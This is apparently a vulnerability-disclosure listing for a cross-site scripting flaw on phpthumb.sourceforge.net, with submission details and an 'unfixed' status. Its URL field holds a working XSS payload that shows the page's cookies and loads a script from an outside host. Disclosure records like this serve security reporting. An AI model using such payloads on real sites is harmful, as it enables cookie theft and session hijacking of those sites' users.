Security researcher Rohit Bansal, has submitted on 29/05/2009 a cross-site-scripting (XSS) vulnerability affecting phpthumb.sourceforge.net, which at the time of submission ranked 159 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 18/07/2010. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 29/05/2009 |
Date published: 18/07/2010 |
Fixed? Mail us! | Status: UNFIXED |
Author: Rohit Bansal |
Domain: phpthumb.sourceforge.net |
Category: XSS |
Pagerank: 159 |
URL: http://phpthumb.sourceforge.net/index.php?source=%22%3E/r0hit/%3E%3Cscript%3Ealert(document.cookie)% 3C/script%3E%3Cscript%20src=http://infysec.net/x.js%3E%3C/script%3E |
Click here to view the mirror
|
|
|